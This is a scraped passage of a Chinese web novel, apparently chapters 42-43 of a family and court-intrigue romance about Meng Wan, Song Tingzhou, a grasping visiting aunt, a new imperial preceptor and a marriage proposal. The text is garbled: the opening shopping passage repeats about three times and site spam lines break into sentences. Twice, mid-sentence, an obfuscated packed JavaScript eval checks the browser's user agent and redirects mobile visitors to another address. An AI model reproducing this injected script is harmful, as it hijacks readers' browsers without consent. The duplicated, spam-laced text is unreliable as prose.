月正忙得不可开交,还是门口招呼客人的小哥儿见到了孟晚,特意到后院去把蓝月找来了。 孟晚最喜欢看的就是小哥儿女娘们独当一面做生意,勤快又精明的样子。“你忙你的就行了,我来给表弟挑几身现成的成衣,顺便再定做几身。” “后面有的是人手,暂且用不到我,后头还有新做出来的成衣,我让伙计们拿过来几身新的给你们相看。”蓝月的铺子前期几乎全是孟晚帮他支撑起来的,孟晚来照顾他生意,他就是忙飞了也不可能不来作陪。 蓝月店里的衣裳现在已经扩展的很好了,衣裳的种类也不单一,又偏岭南民族风的,也有盛京的时兴款式。 雨哥儿的眼睛只管往颜色鲜艳又漂亮的上面瞄,选了两身裙子之后就说够了。 蓝月又亲自给雨哥儿量了身形尺寸,说做好了新衣就立即差人送到宋家去,孟晚便又告辞带着雨哥儿离开。 说好了给雨哥儿买首饰,孟晚又拐了个弯儿去另一条街的首饰铺子。并不是价格昂贵的宝光斋,却也是中上等铺子,铺面同样铺得很大,大部分都是小富人家的哥儿女娘来买。 孟晚不差钱,可也不是见谁都撒钱的冤大头,他库房的首饰都是可遇不可求的精品,雨哥儿只是个亲戚家的孩子,给他买衣裳买首饰可以,百两千两就算了。 饶是如此,铺子里琳琅满目的珠宝首饰也已经看花了雨哥儿的眼睛,他还算有些分寸,在两根银钗和一根金钗之间犹豫了一会儿,选了一支重一两六钱的双蝶戏菊金钗。 上头的蝶翅是镂空的,边缘还嵌了几颗米粒大小的玉珠,栩栩如生,很是好看,有不少女娘小哥儿都在相看。 孟晚二话不说给他买了下来,又给他挑了两三对玉石耳坠,和一对麻花翡翠玉镯,“戴着玩吧,就当是我送的见面礼了。” 雨哥儿惊喜不已,他今年十六了,正是爱美的年纪,捧着几个盒子对孟晚亲亲热热的叫表嫂。 他们回去了之后,雨哥儿迫不及待的将孟晚送他的镯子戴在手上,常舅母虽然高兴孟晚给他儿子买东西,又嫌弃他买的少了。 拿着雨哥儿的金钗和黄叶头上的比较,觉得自己儿子是宋家的娇客,戴的却和下人头上的差不离,是丢了份儿,明里暗里想让孟晚再给雨哥儿添上几支钗环首饰,且她自己也想戴。 雨哥儿生怕母亲的话惹恼了孟晚,又觉得表嫂笑呵呵的脾气极好,没准真的还会给她再买。 纠结难受,又说不了他娘,干脆红着脸摆弄自己新衣裳。 常金花早就知道自己弟妹是个什么货色,从自己首饰匣子里挑了两只二两重的金镯给她,让她闭上了嘴巴。 宋亭舟下了衙回来,从前院的桂诚口中得知常舅母带孩子来家里做客的事,回正院屋里将官服换下来去常金花处见常舅母。 月正忙得不可开交,还是门口招呼客人的小哥儿见到了孟晚,特意到后院去把蓝月找来了。 孟晚最喜欢看的就是小哥儿女娘们独当一面做生意,勤快又精明的样子。“你忙你的就行了,我来给表弟挑几身现成的成衣,顺便再定做几身。” “后面有的是人手,暂且用不到我,后头还有新做出来的成衣,我让伙计们拿过来几身新的给你们相看。”蓝月的铺子前期几乎全是孟晚帮他支撑起来的,孟晚来照顾他生意,他就是忙飞了也不可能不来作陪。 蓝月店里的衣裳现在已经扩展 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孟晚二话不说给他买了下来,又给他挑了两三对玉石耳坠,和一对麻花翡翠玉镯,“戴着玩吧,就当是我送的见面礼了。” 雨哥儿惊喜不已,他今年十六了,正是爱美的年纪,捧着几个盒子对孟晚亲亲热热的叫表嫂。 他们回去了之后,雨哥儿迫不及待的将孟晚送他的镯子戴在手上,常舅母虽然高兴孟晚给他儿子买东西,又嫌弃他买的少了。 拿着雨哥儿的金钗和黄叶头上的比较,觉得自己儿子是宋家的娇客,戴的却和下人头上的差不离,是丢了份儿,明里暗里想让孟晚再给雨哥儿添上几支钗环首饰,且她自己也想戴。 雨哥儿生怕母亲的话惹恼了孟晚,又觉得表嫂笑呵呵的脾气极好,没准真的还会给她再买。 纠结难受,又说不了他娘,干脆红着脸摆弄自己新衣裳。 常金花早就知道自己弟妹是个什么货色,从自己首饰匣子里挑了两只二两重的金镯给她,让她闭上了嘴巴。 宋亭舟下了衙回来,从前院的桂诚口中得知常舅母带孩子来家里做客的事,回正院屋里将官服换下来去常金花处见常舅母。 月正忙得不可开交,还是门口招呼客人的小哥儿见到了孟晚,特意到后院去把蓝月找来了。 孟晚最喜欢看的就是小哥儿女娘们独当一面做生意,勤快又精明的样子。“你忙你的就行了,我来给表弟挑几身现成的成衣,顺便再定做几身。” “后面有的是人手,暂且用不到我,后头还有新做出来的成衣,我让伙计们拿过来几身新的给你们相看。”蓝月的铺子前期几乎全是孟晚帮他支撑起来的,孟晚来照顾他生意,他就是忙飞了也不可能不来作陪。 蓝月店里的衣裳现在已经扩展的很好了,衣裳的种类也不单一,又偏岭南民族风的,也有盛京的时兴款式。 雨哥儿的眼睛只管往颜色鲜艳又漂亮的上面瞄,选了两身裙子之后就说够了。 蓝月又亲自给雨哥儿量了身形尺寸,说做好了新衣就立即差人送到宋家去,孟晚便又告辞带着雨哥儿离开。 说好了给雨哥儿买首饰,孟晚又拐了个弯儿去另一条街的首饰铺子。并不是价格昂贵的宝光斋,却也是中上等铺子,铺面同样铺得很大,大部分都是小富人家的哥儿女娘来买。 孟晚不差钱,可也不是见谁都撒钱的冤大头,他库房的首饰都是可遇不可求的精品,雨哥儿只是个亲戚家的孩子,给他买衣裳买首饰可以,百两千两就算了。 饶是如此,铺子里琳琅满目的珠宝首饰也已经看花了雨哥儿的眼睛,他还算有些分寸,在两根银钗和一根金钗之间犹豫了一会儿,选了一支重一两六钱的双蝶戏菊金钗。 上头的蝶翅是镂空的,边缘还嵌了几颗米粒大小的玉珠,栩栩如生,很是好看,有不少女娘小哥儿都在相看。 孟晚二话不说给他买了下来,又给他挑了两三对玉石耳坠,和一对麻花翡翠玉镯,“戴着玩吧,就当是我送的见面礼了。” 雨哥儿惊喜不已,他今年十六了,正是爱美的年纪,捧着几个盒子对孟晚亲亲热热的叫表嫂。 他们回去了之后,雨哥儿迫不及待的将孟晚送他的镯子戴在手上,常舅母虽然高兴孟晚给他儿子买东西,又嫌弃他买的少了。 拿着雨哥儿的金钗和黄叶头上的比较,觉得自己儿子是宋家的娇客,戴的却和下人头上的差不离,是丢了份儿,明里暗里想让孟晚再给雨哥儿添上几支钗环首饰,且她自己也想戴。 雨哥儿生怕母亲的话惹恼了孟晚,又觉得表嫂笑呵呵的脾气极好,没准真的还会给她再买。 纠结难受,又说不了他娘,干脆红着脸摆弄自己新衣裳。 常金花早就知道自己弟妹是个什么货色,从自己首饰匣子里挑了两只二两重的金镯给她,让她闭上了嘴巴。 宋亭舟下了衙回来,从前院的桂诚口中得知常舅母带孩子来家里做客的事,回正院屋里将官服换下来去常金花处见常舅母。 月正忙得不可开交,还是门口招呼客人的小哥儿见到了孟晚,特意到后院去把蓝月找来了。 孟晚最喜欢看的就是小哥儿女娘们独当一面做生意,勤快又精明的样子。“你忙你的就行了,我来给表弟挑几身现成的成衣,顺便再定做几身。” “后面有的是人手,暂且用不到我,后头还有新做出来的成衣,我让伙计们拿过来几身新的给你们相看。”蓝月的铺子前期几乎全是孟晚帮他支撑起来的,孟晚来照顾他生意,他就是忙飞了也不可能不来作陪。 蓝月店里的衣裳现在已经扩展的很好了,衣裳的种类也不单一,又偏岭南民族风的,也有盛京的时兴款式。 雨哥儿的眼睛只管往颜色鲜艳又漂亮的上面瞄,选了两身裙子之后就说够了。 蓝月又亲自给雨哥儿量了身形尺寸,说做好了新衣就立即差人送到宋家去,孟晚便又告辞带着雨哥儿离开。 说好了给雨哥儿买首饰,孟晚又拐了个弯儿去另一条街的首饰铺子。并不是价格昂贵的宝光斋,却也是中上等铺子,铺面同样铺得很大,大部分都是小富人家的哥儿女娘来买。 孟晚不差钱,可也不是见谁都撒钱的冤大头,他库房的首饰都是可遇不可求的精品,雨哥儿只是个亲戚家的孩子,给他买衣裳买首饰可以,百两千两就算了。 饶是如此,铺子里琳琅满目的珠宝首饰也已经看花了雨哥儿的眼睛,他还算有些分寸,在两根银钗和一根金钗之间犹豫了一会儿,选了一支重一两六钱的双蝶戏菊金钗。 上头的蝶翅是镂空的,边缘还嵌了几颗米粒大小的玉珠,栩栩如生,很是好看,有不少女娘小哥儿都在相看。 孟晚二话不说给他买了下来,又给他挑了两三对玉石耳坠,和一对麻花翡翠玉镯,“戴着玩吧,就当是我送的见面礼了。” 雨哥儿惊喜不已,他今年十六了,正是爱美的年纪,捧着几个盒子对孟晚亲亲热热的叫表嫂。 他们回去了之后,雨哥儿迫不及待的将孟晚送他的镯子戴在手上,常舅母虽然高兴孟晚给他儿子买东西,又嫌弃他买的少了。 拿着雨哥儿的金钗和黄叶头上的比较,觉得自己儿子是宋家的娇客,戴的却和下人头上的差不离,是丢了份儿,明里暗里想让孟晚再给雨哥儿添上几支钗环首饰,且她自己也想戴。 雨哥儿生怕母亲的话惹恼了孟晚,又觉得表嫂笑呵呵的脾气极好,没准真的还会给她再买。 纠结难受,又说不了他娘,干脆红着脸摆弄自己新衣裳。 常金花早就知道自己弟妹是个什么货色,从自己首饰匣子里挑了两只二两重的金镯给她,让她闭上了嘴巴。 宋亭舟下了衙回来,从前院的桂诚口中得知常舅母带孩子来家里做客的事,回正院屋里将官服换下来去常金花处见常舅母。 第42章 信、郭 “哎呦,咱家的大官回来啦?”常舅母忙从炕上下来,殷勤的招呼宋亭舟。 宋亭舟退了一步,行了个晚辈礼,“舅母安好。” “好好,大郎啊,这是你表弟雨哥儿,你还记得不?你和晚哥儿成亲的时候,他说话还说不全呢。”常舅母拉着雨哥儿过来给宋亭舟作揖。 “表哥好。”雨哥儿不敢多看宋亭舟一眼,总觉得骇人的狠,比县城的县太爷还让人害怕。 宋亭舟颔首,“嗯,既然来了就安心在家里住上一阵子。” 有了家主的承诺,雨哥儿才真正放下心来。 不管他娘要求表哥办什么事,他在来的时候就想好了,他不想嫁给镇子上的人,也不想嫁给县城里的人,那些媒婆给他相看的人家,雨哥儿都不满意。 他要嫁到盛京来。 晚膳的时候郑家那边的人过来送口信,阿砚被郑老先生留堂了,通儿也在郑家陪他,今晚可能宿在郑家,不回来住了。 楚辞和阿寻倒是回来了,但是阿寻不大好意思在宋家的亲戚面前露脸,便在他的小院里自己吃了。 雨哥儿看着楚辞英俊的脸庞,羞涩的问孟晚,“表嫂,我……我怎么称呼啊?” “这是**儿子,你表侄儿,叫楚辞。”孟晚手里拿着雪生从驿站取回来的信件,随口回了他一句。 雨哥儿隐约见到信封上写了个项字,他心思都在孟晚说出的称呼上面,嘴角下撇,不太开心的说:“哦。” 孟晚对手中的信好像很看重,但是没有当场拆开,递给宋亭舟看了一眼后,妥善揣进了怀里。 饭后常舅母从常金花口中得知楚辞是个哑巴后,就更加不热络了。 夜里孟晚小尾巴一样跟在宋亭舟身后,看着他用自己洗过的水沐浴,水流覆在他薄薄的肌肉线条之下,浸湿了这具充满力量感的男性身躯。 孟晚托着下巴欣赏了一会儿,“你说你舅母这次来走亲戚是为了什么?听说咱们进京了,想来打秋风?” 宋亭舟往自己身上打香皂,动作不停,“算算时间,应该是咱们送年礼和书信之后就来盛京的,你说的也并无不可。” “那你舅舅怎么没来?”孟晚眼睁睁看宋亭舟从水中出浴,对方身下某个不可言说的地方渐渐有了些变化。 宋亭舟没回答孟晚的话, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 胡乱用一旁的布巾擦了身体箍着孟晚的腰进了他们的卧房。 经过尽责照耀一方的的烛火时让上面的火光随着他们的动作来回闪耀。 忽强忽弱忽明忽暗。 早上孟晚按着腰翻了个身撞进宋亭舟温热的胸膛。 “今天又不上朝?” “嗯今日休沐。”宋亭舟想多陪孟晚待会儿醒了也没有起床。 孟晚趴在他胸口没睁眼睛哑声说了句“我有话要和你说也只是猜测你听了不要太难过。” 他这句话说出来就是在给宋亭舟用作铺垫的宋亭舟果然立即就明白了他的意思“外祖母出事了?” 孟晚将昨天的事和宋亭舟说了“我猜可能是人没了为了咱们家一直寄过去的银两所以一直瞒着。我没告诉咱娘你……也别太伤心了。” 虽说常家人唯利是图但这样贪财的小人才更好拿捏。他们比谁都希望外祖母能长寿因此不可能谋害她老人家加上这个年纪应该是自然老死。 宋亭舟心里有些淡淡的难过但说伤心其实也不是太多。外祖母前些年受了些罪后来被常家照顾的还算不错也算是高寿了。 他抱抱孟晚“不难过不告诉娘是对的等回乡的时候在说。项家来信的什么意思?” 孟晚闷闷的说一个字:“郭。” 宋亭舟叹了口气“原来如此。” 早膳的时候常舅母又开始说些不着调的话。 “大郎啊你看看你们衙门还有没有什么官能让你表弟也进去做个什么小官儿?”常舅母说的表弟是雨哥儿的哥哥 孟晚笑着怼她“表弟若是考过科举最次也中个秀才自然好说。” 常舅母没话说了她儿子大字都不识几个还秀才呢! 嘀嘀咕咕又当着常金花的面说了几句闲话大抵是宋亭舟现在发达了也不帮衬帮衬亲戚他们宋家都得了多少多少的好处等等。 这些话说完常金花训了她一顿她安分片刻又开始说些别的闲话。 宋亭舟今天休沐其实也是为了躲人他在家陪孟晚待了一会儿对时常过来打扰的常舅母实在不厌其烦干脆躲到了吴昭远家中。 吴昭远今日也休沐两人就像约好了一 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 样。 郑淑慎本来在院子里遛弯见宋亭舟来了问了他几句孟晚的事。得知宋家来了客人孟晚最近可能不来找他便说等他坐稳了胎去找孟晚。 吴昭远邀宋亭舟去书房说话谨慎的将房门关好又派秋影雪生在门口守着这才低声道:“不知是谁向陛下举荐了一位老道那老道带着道童住到了皇宫里现如今陛下正要翰林院拟旨要封那老道为国师。” 宋亭舟久久无声上位者沉迷于炼丹修道疏于政务正是国之衰败的初端。 “景行最近在朝堂上你定要小心行事切莫大意。”吴昭远在翰林院任从五品侍读学士负责撰写皇帝的诏令知道第一手消息就毫不保留的和宋亭舟分享可见对其信任。 宋亭舟拍了拍他的肩膀“若是我出了什么事你也要稳住只要人活着没什么是过不去的。” 吴昭远撂在书桌上的手抖动了一下“你这是什么意思?” 宋亭舟下颌微绷抿紧的唇线如刻低垂的眸子中掩下郁色“陛下偏信妖道疏懒朝政我不能置之不理。” 吴昭远难以置信地看着他 书房的房门被人敲响雪生的声音从外面传来“大人外头有人求见。” 宋亭舟沉声道:“知道了。” 他推门出去留下还兀自震惊的吴昭远。 雪生见宋亭舟出来忙回禀道:“大人是承恩伯亲自找上了门吴家的下人不敢拦这会儿人就快过来了。” 宋亭舟已经猜到对方为何前来他回头深深地看了一眼吴昭远“昭远记得我今天说的话。” —— 承恩伯在京郊大营有职务在身家里又是几代勋贵在朝中联姻众多便是没钱也有着众多的人脉。 刑部的人收到顺天府递交上来的卷宗见上头写的是对承恩伯大哥的判决便暂且压下没动转头给承恩伯递了信。 承恩伯从京郊回来才知道家里出了这么大的事齐氏早已后悔得罪了人又不喜大房一家这才故意没去派人叫他回家。 但家里的老夫人却不乐意大儿子流放受苦找二儿子一顿哭诉当年老爵爷死的时候那些话都拿出来说。 母命难违承恩伯本就对大 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 哥存着几分愧疚之心,当即就打探宋亭舟的消息。 知道他休沐在吴家,便立即寻了过来。 结果自然是没能如愿,承恩伯的怒吼声吴家隔壁的邻居都能一清二楚。 两人从吴家离开了之后,只剩吴昭远愁眉不展。 —— 宋亭舟回家的时候,家门口一辆接一辆的马车堵在巷子里。其中有好几道熟悉的身影和他打招呼。 “宋大人,许久不见了!那拓招呼兄弟们有序进门,扭头看见宋亭舟,笑着行了个礼。 宋亭舟沉重的心情略有缓和,“许久不见,只你带人来了? 那拓让开位置让其他兄弟先进去,“妗霜和小余夫夫俩先进去见孟夫郎了,我留在这里善后。 他们是半夜到的,可惜城门关闭,只得在城外熬了半夜,今天一大早按照孟晚书信上的地址寻了过来。 耽误了许多功夫,但不到宋家之前,谁也不敢松懈,毕竟运送的都是真金白银。 “我估摸着你们也快要来的,到京城里整顿过没有。孟晚把唐妗霜和余彦东叫到正院歇着,又命枝繁枝茂吩咐厨房去多买些菜肉的回来,唐妗霜他们一大帮子人,足有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563423|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六十来个,最少也要准备六桌席面。 “我们进了城便直奔夫郎家中,还整顿呢,这一路上生怕这些东西有个什么闪失。余彦东下巴上胡子拉碴的,看着十分疲惫,不过眼睛还是亮的。 “这一路确实惊险,道上的**像是得到了什么风声,幸好我们人多,那拓他们身手又好,又有……唐妗霜说到一半硬生生拐了个口风,干巴巴的以四个字“有惊无险结束了话题。 孟晚笑着起身,“这次确实辛苦你们了,也就是头一年,等往后驿站的事情理顺,就不必这般麻烦了。 驿站现在看似铺的很大,实际上只是占着地方,还有许多制度要完善,孟晚手底下真正的可用之人就那么些个,驿站管事那么多,其中必然有二心的。 唐妗霜住在正院,其余人都在前院安置下来。正院厨房的灶头火炉都烧着热水,供他们洗漱。 下人们拎着采买的菜肉等,到后院常金花的小厨房里切洗,一会儿等大厨房空出来,还是要去大厨房炒菜的。 雨哥儿在后院看着采买的人拎着一筐筐的肉菜,看分量怎么也不像自家吃的。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他叫住个脚步急促的小厮,“家里可是来了客人?” “回表少爷的话,是夫郎的手下的几个管事上京来了。”小厮后面还跟着个打鱼的渔夫,两人各提着一筐子大鱼,手酸的不行,见雨哥儿没有别的要问的,便匆匆将篓子提到厨房去了。 雨哥儿嘴上重复了一下,“管事?表嫂手下的?” 他满脸好奇,便往前院走去,顺着人声的地方寻过去,只见一车车的木箱被卸到了正院库房门口。 大大小小不尽相同,寨子里的下人们正分门别类的搬运,黄叶在其中巡视,枝繁枝茂则守在其中一间库房面前,守着面前的箱子眼神警惕。 “你怎么过来了?”孟晚正吩咐人将其中的山寨罐头藕粉之类的往后院常金花的库房搬。 雨哥儿怯生说道:“我在后院闲得没事做,过来看看。” 孟晚随口打发他,“那边有几匹罗布,你看看有没有相中的,抱去后院做帕子衣裳都行。” 绫罗绸缎,罗排在第二位,富贵人家的小姐都是拿来做罗帕,可见其珍贵。 雨哥儿的眼睛唰地一下就亮了,“谢谢表嫂!” 孟晚空出手来处理这次的大头,也就是去年珍罐坊的盈利。 驿站的收入孟晚都花在修路上头,这条路最少也要修上四年,短时间内指望驿站挣钱是不可能的。 所以孟晚这些年的核心经济来源,便是名下的珍罐坊,其次是糖坊、果干坊和藕坊。 藕坊孟晚只占了一股,用作给荷娘懂哥儿等人做庇护,剩下给他们分了当作嫁妆。 果干坊算是低开高走,岭南的天气其实不好晒果干,卖的越来越好但是出品不多,只因为孟晚自己爱吃而已。不赔钱,也不要指望大赚。 糖坊每年的收入稳定,收、卖的渠道也已经十分成熟,是最不用孟晚费心的,只管安心收钱。 赫山糖坊的名头太大了,哪怕后来整个西梧府都兴起大大小小的糖坊,但赫山糖坊的地位坚固,无人可动其根基,因为那是百姓用心拥护,民心所向。 珍罐坊是与之相反,称得上是暴利,但收入十分不稳定。去年冬天果珍罐在盛京虽然依旧火热,可已经不如前年那样令人疯狂了。 先前果珍罐的盈利,孟晚只留下一小部分,大头都拿去修路和建立驿站了。 去年驿站步入正轨,修路也有条不紊,孟晚便让唐妗霜将他那部分盈利都带到盛京来。 拿着唐妗霜带来的厚厚的账本,孟晚让人先将银两清点了出来。 银票没有大额,且岭南到盛京这么远的路,一箱箱的银票反而不易运输保存,因此还是金银为主。 哪怕上次枝繁枝茂已经清点过一次库房银两,这次这种大阵仗一样吓到了他们。 眼见着比上次多出几倍的银两,一天两天都清点不完,俩人手都开始不自觉的抽筋。 第43章 前兆 唐妗霜他们在宋家住下对他们说说宋亭舟离开后的见闻。 离开岭南还不到一年好像前一天还在砍甘蔗如今就到盛京的高门大院里了。 雪狼闻到众多熟悉的气息撒欢似的从东院里跑出来别枝在后天追“雪狼好狼别跑了!” 雪狼越长越大现在已经和一头成年的牛一般大小了天天在院里把它给憋坏了这会跑出东院一个劲儿的乱闯。 雨哥儿正在孟晚院里看院子里新种的花冷不丁被一身雪白的异兽吓了一跳发出一声绝望的尖叫。 楚辞听见声音忙跑了过来以手做哨子制止了雪狼往人身上乱扑的动作手上比划着“你没事吧?它不会咬你的。” 雨哥儿的心还在蹦蹦乱跳抬头细看楚辞又发觉他长的确是英俊胸口更加起伏不定 虽然他不会说话可是长相真的很俊朗啊人又很温柔耐心。 雨哥儿接触到的男子里很少有楚辞这样秉性温润又心细如发的他正值妙龄见到了难免心动。 阿寻也听到了狼啸声出来正好看见雨哥儿腼腆的站在楚辞面前兀自脸红。楚辞今年十九雨哥儿十六一高一矮竟似有几分般配。 他没声张就在原地看了一会儿才离开。 楚辞很快揪着闯了祸的雪狼去前院也算是带它放放风。 唐妗霜他们这次来盛京很急朝堂上不太平孟晚也不想让他们久留休整两天后一行人就又离开了盛京。 他们前脚离开后脚就有几波盛京的势力追在后面一出了盛京范围就被那拓等人解决了他们进城是有六十人城外却还留守数十人。 石见驿站别的不说人管够。 最近孟晚和宋亭舟的书房上也多了几个梁上君子只不过每每都被发现但哪怕抓住活口这些训练有素的死士也有办法让自己开不了口。 随着太子快要入京的消息越来越频繁朝中的氛围也越来越紧张。 吴昭远的话说的没错皇上要封国师的旨意很快下达而且已经命礼部择日准备册封大典尚衣监也在加工加点的赶制国师礼冠。 禹国成立至今只有开国的禹皇封过一任国师那国师还是陪着禹皇一起打天下的智者。如今突然要封一个名不见经传的道士为国 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 师朝堂众臣难免议论纷纷。 宋亭舟在朝会上率先发难果不其然被皇上狠狠斥责了一顿与上次明显偏向的小打小闹不同宋亭舟被勒令回家连带着手下的职务也停了。 同宋亭舟交好的几位官员如蔻汶等不免替他觉得惋惜觉得他太过冲动甚至还有人趁机拉拢他站队的。 吴昭远和祝泽宁作为宋亭舟的好友自然轮番上阵。 吴昭远在宋亭舟面前来回踱步语气中带着恨铁不成钢的意味“你怎么那么冲动!连马罗山都没出头露面你又何必呢!” 马罗山正是吏部尚书也是真正皇上信得过的臣子看似低调实际心机深沉。 祝泽宁在一旁跟着劝“就是你也太冲动了听说陛下发了好大一通火气。” 宋亭舟本来在给他们倒茶闻言动作一顿几滴茶水洒落在桌面上。 吴昭远随口问了一句“你怎么知道宫里的事?” 祝泽宁是衙门里的闲差不像宋亭舟官居高位也不像吴昭远在翰林院能时常接触皇上。 “嗨我大舅哥和我说的他知道咱们关系好特意替我打听的。”祝泽宁说完饮了半杯茶水。 吴昭远隐约还是觉得有哪里不对可又说不上来反驳祝泽宁的话且要紧的是劝宋亭舟不要再继续劝阻皇上。 就算要劝也不可太过刚硬真的惹恼了皇上丢官都是小事丢了命才不值! “要不然……要不然我就去找吴巍说和说和若他知道我是吴家血脉定然愿意也托举你一把。”吴昭远语惊四座。 祝泽宁震惊的看着他“你是傻了还是疯了竟然说出这样的浑话来?且不说吴巍现在本就不受陛下待见离致仕回北方也差不多了。就说他一个劲儿的打压景行景行不报复就算了怎么会受他托举不托举的。” 宋亭舟果然拧眉道:“昭远!” 吴昭远叹道:“行吧。”可祝泽宁见他的语气像是还没有死心似的。 吴昭远和祝泽宁说的口干舌燥书房的茶水上了一壶又一壶。 他俩每次来都是要吃完晚饭才走的也没什么男女不同席的说话大家都聚在常金花那里 雨哥儿左看看右看看这个哥儿郎中住 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的院子和他住的一样大布局也差不多。 “你和我表哥表嫂有亲吗?”雨哥儿好奇的问。 “没有。”阿寻低头扒饭对他不大热络。 “那你就是他们专门养着的郎中喽?也是我表嫂那么有钱我听别人说还有的大户人家不光有厨子、郎中、甚至还养绣娘呢!”雨哥儿声音中带着憧憬。 “是有。”阿寻去过几个大户人家问诊规矩都很多连问个医也遮遮掩掩的。 阿寻都觉得自己要是身后没有宋家只是个野路子郎中保不齐也会像他阿姐一样牵扯到某些事件中。 每次楚辞还都陪着他去自己进去诊脉他就在外面等着自己。 阿寻眼神逐渐放空冷不丁被雨哥儿一声惊呼唤醒。 “你手指怎么少了一根啊?咦?那只手也少一根!”雨哥儿不带恶意只是好奇。 阿寻放下碗筷把自己的手往袖子里缩他其实早就不在意这个了除了小时候有别的小孩因为这个笑话他 门口有轻叩房门的声音大门没关阿寻和雨哥儿看过去都能看到楚辞有些冷淡的脸色**来了多久但显然听到了雨哥儿大呼小叫的话。 雨哥儿愣愣的看着他进来越过自己拉着阿寻的袖子出门去本来一直很温和的俊秀的脸这会儿却什么表情都没有像是在生气。 因为自己说了那个哥儿郎中的手缺失吗? 雨哥儿自己被留在院里端起来的碗重重放在饭桌上他后知后觉的察觉到什么眼眶倏地一下就红了。 “什么嘛我也没说什么啊?” 楚辞一直把阿寻拉到正院大家都在常金花院子里吃饭正院这会儿反而没人。 阿寻低头看着脚下的鞋子发呆眼神再往上一寸就是楚辞劲瘦有力的腿他从到宋家后就跟着雪生习武虽说不如人家从小练武的却也有一身拳脚功夫。 楚辞等着他抬头等了好半天面前的人还是低头沉默。四下无人楚辞无奈地用手指托起阿寻下巴。 对上一张眼含热泪的脸他心一下子就慌乱了起来手飞快的比着“怎么了?” 阿寻自己还没怎么察觉看到楚辞心焦的样子抬手摸了摸眼睛才知道自己哭了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他先是有些发懵,不知道自己为何会哭,然后胸口又是磅礴的酸胀感充斥全身,楚辞离他越近,他越是酸涩难忍。 “你别过来了。阿寻闷闷的出声制止一直试图靠近他的楚辞。 楚辞脚步停住,手足无措的用手语说:“你别难过了,我去和干爹说,不让别人随便去你院子里。 “你别去!阿寻喊住他。 于是楚辞又退回他身边,手缓慢地比,“不喜欢他们的话,我给你买一套宅子好不好? 阿寻破涕为笑,“你真是零用钱多了,还要在盛京买宅子。 见他笑了,楚辞的脸色也跟着缓和下来,他拍了拍自己的钱袋,示意自己攒了很多。 阿寻的眼泪还挂在下眼睫上,楚辞看着那滴泪珠心里不大痛快,便抬起手臂,顺势用食指将其楷去。 触碰到那滴眼泪的时候,双方皆是一颤。 阿寻背过身去不看他,楚辞则站在他身后,盯着自己湿润的手指出神。 —— “你要回岭南向苗家提亲? 孟晚着实没想到一直不开窍的人,突然就这么到他面前要提亲了。 楚辞坚定地点了点头,他本来还想再等两年,但经过昨天一事他突然就不想等了,不光不相等,甚至恨不得立即将阿寻娶回来,一辈子护在自己身边。 孟晚看向他身边的低着头不说话的阿寻,“你也愿意嫁给楚辞,不嫌弃他身上的缺陷? 阿寻本来十分忐忑,听到孟晚的话反而安心了,“怕被嫌弃的应该是我才对,夫郎知道我的家世…… “你也算是我看到大的,那些虚话就不用说了。孟晚哪有那些个门第之见,两人结合讲究门当户对,对的也先是精神契合。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563424|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗家人有情有义,楚辞从小也吃惯了苦头,他和阿寻从小一同长大,怎么不契合? “只要你二人想好了就成,成亲不是过家家,两人要相守一生,不相互背弃。无论遇到艰难险阻,都要守护对方。 阿寻微微侧目,却发现楚辞正目光灼灼地盯着他,眼中热光灼人。 “孟夫郎,我们会的。于是阿寻便也坚定地说。 孟晚立即便站起身来,“枝繁枝茂快去找纸笔来。要赶紧写信给那拓他们,让 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他们途中暂时找个地方歇脚,等等再走。 俩人搞得太突然了,孟晚罕见的脑子有点懵,他是不是要做公爹了?哦宋亭舟是公爹,那他就是阿嬷? 算了还是阿爹吧,阿爹好听…… 不对啊!他要立马准备东西去苗家求亲啊!!! 楚辞见他写完信叫人加急送出去后就开始发呆,上前那手在他眼前晃了晃,“干爹?你别着急,我和阿寻两人回去就行了,不用你去。 孟晚一下子站了起来,“这么大的事,我怎么能不去呢!不然亲家会觉得我们不重视的! 阿寻神色茫然,“孟夫郎你在说什么?我祖父和大姐都不会这样的啊? 孟晚与他对视,自己也缓过神来了,也是,苗家人又不是别人。 “那也要有长辈在场啊!哪有新郎官自己去提亲的? 雪生从门口听了一会儿,走进来说道:“我陪楚辞去吧夫郎,你现在定是走不开的,我到了西梧府后,再找上一位妥帖可靠的媒婆上门,苗家人不会为难的。 楚辞点点头,手划动着,“干爹,就让雪生叔陪我去吧,没事的。 京城里还不知道会出什么变动,孟晚放心不下宋亭舟。雪生不是他家的奴,阿砚楚辞都管他叫声叔,按辈分也可以了。 “如此也好,我再给妗霜写一封信,让他和余家人也跟着操劳一二。 楚辞去提亲是家里的大喜事,最高兴的就是常金花,她年纪大了,就爱家里的孩子都有着落,不免又说上雪生和黄叶几句,给俩人吓得好几天都不敢去后院。 除了雪生陪他们之外,孟晚又将金嬷嬷给派了去。 